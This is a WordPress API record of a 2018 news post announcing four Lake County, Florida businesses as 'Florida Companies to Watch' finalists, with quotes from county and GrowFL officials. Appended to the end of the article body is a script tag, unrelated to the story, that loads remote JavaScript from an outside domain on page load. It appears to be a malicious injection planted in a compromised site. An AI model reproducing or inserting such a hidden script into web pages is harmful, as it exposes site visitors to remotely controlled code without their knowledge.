{"id":219673,"date":"2018-08-23T18:44:27","date_gmt":"2018-08-23T22:44:27","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=219673"},"modified":"2018-08-23T18:44:27","modified_gmt":"2018-08-23T22:44:27","slug":"lake-county-businesses-named-among-florida-companies-to-watch","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/lake-county-businesses-named-among-florida-companies-to-watch\/","title":{"rendered":"Lake County businesses named among \u2018Florida Companies to Watch\u2019"},"content":{"rendered":"<p style=\"font-weight: 400;\"><strong>TAVARES, Fla. &#8212;\u00a0<\/strong>Four Lake County companies were<em>\u00a0<\/em>among the first round of<em>\u00a0<\/em>2018<em>\u00a0<\/em>\u201cFlorida Companies to Watch<em>\u201d<\/em>\u00a0finalists, recently announced by GrowFL. They include Firehawk Helicopters, Intellisteel Group, LLC, United Efficiency Software Group and Vac-Tron Equipment.<\/p>\n<p style=\"font-weight: 400;\">The awards honor 50 select second-stage companies throughout the state for developing products and services, creating quality jobs, enriching communities, and broadening new industries. Chosen from a candidate pool of 134 businesses, the finalists collectively represented $518 million in annual revenue and employ 2,743 full-time workers.<\/p>\n<p style=\"font-weight: 400;\">\u201cLake County has a strong manufacturing base producing a wide variety of products,\u201d said Brandon Matulka, Executive Director of Lake County\u2019s Agency for Economic Prosperity. \u201cThe county works diligently to support and help grow these companies, and it\u2019s exciting to see them recognized at the state level.\u201d<\/p>\n<p style=\"font-weight: 400;\">Developed by the Edward Lowe Foundation, \u201cFlorida Companies To Watch\u201d is a distinguished awards program specifically designed to seek out second-stage businesses from a wide range of industries representing all areas of the state, not just those in major metropolitan areas. \u201cFlorida Companies to Watch\u201d recognizes the different approach needed to successfully grow and scale a business and celebrates those that are working to achieve this goal. The winners will be announced in mid-September. The 2018 honorees will be celebrated at the awards ceremony\u00a0<span data-term=\"goog_1526708421\">Feb. 9<\/span>\u00a0at the Straz Center for the Performing Arts in Tampa, FL.<\/p>\n<p style=\"font-weight: 400;\">\u201cWe applaud these first-round finalists who have shown how they stand out in their regions as innovative business leaders, going to the next level to grow their companies,\u201d said Dr. Tom O\u2019Neal, GrowFL Executive Director.<\/p>\n<p style=\"font-weight: 400;\">GrowFL is a statewide economic development organization certified by the National Center for Economic Gardening through the Edward Lowe Foundation.\u00a0 Learn more at\u00a0<a href=\"http:\/\/www.growfl.com\/\" data-saferedirecturl=\"https:\/\/www.google.com\/url?hl=en&amp;q=http:\/\/www.GrowFL.com&amp;source=gmail&amp;ust=1535150483384000&amp;usg=AFQjCNHC3KGsoOiTIhKXR7OQ7Wh1v1uW3w\">www.GrowFL.com<\/a>.<\/p>\n<p style=\"font-weight: 400;\">Lake County\u2019s Agency for Economic Prosperity provides assistance and manages services for both the businesses of Lake County and Lake County visitors. Its mission is to aggressively retain, attract and grow jobs in Lake County, in partnership with others, while protecting and improving Lake County\u2019s quality of life and unique character. For more information, visit\u00a0<a href=\"http:\/\/www.businessinlakefl.com\/\" data-saferedirecturl=\"https:\/\/www.google.com\/url?hl=en&amp;q=http:\/\/www.businessinlakefl.com&amp;source=gmail&amp;ust=1535150483384000&amp;usg=AFQjCNErBKqWKVpQwND0ZWRBmqhIldGaNA\">www.businessinlakefl.com<\/a>\u00a0or call 352-742-3918.<\/p>\n<p><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Four businesses in Lake County named on the Florida Companies to Watch list.<\/p>\n","protected":false},"author":26806,"featured_media":219674,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[3246,6,1],"tags":[],"class_list":["post-219673","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-community","category-lake-county","category-local","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/VacTron05.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/219673","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/26806"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=219673"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/219673\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/219674"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=219673"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=219673"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=219673"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}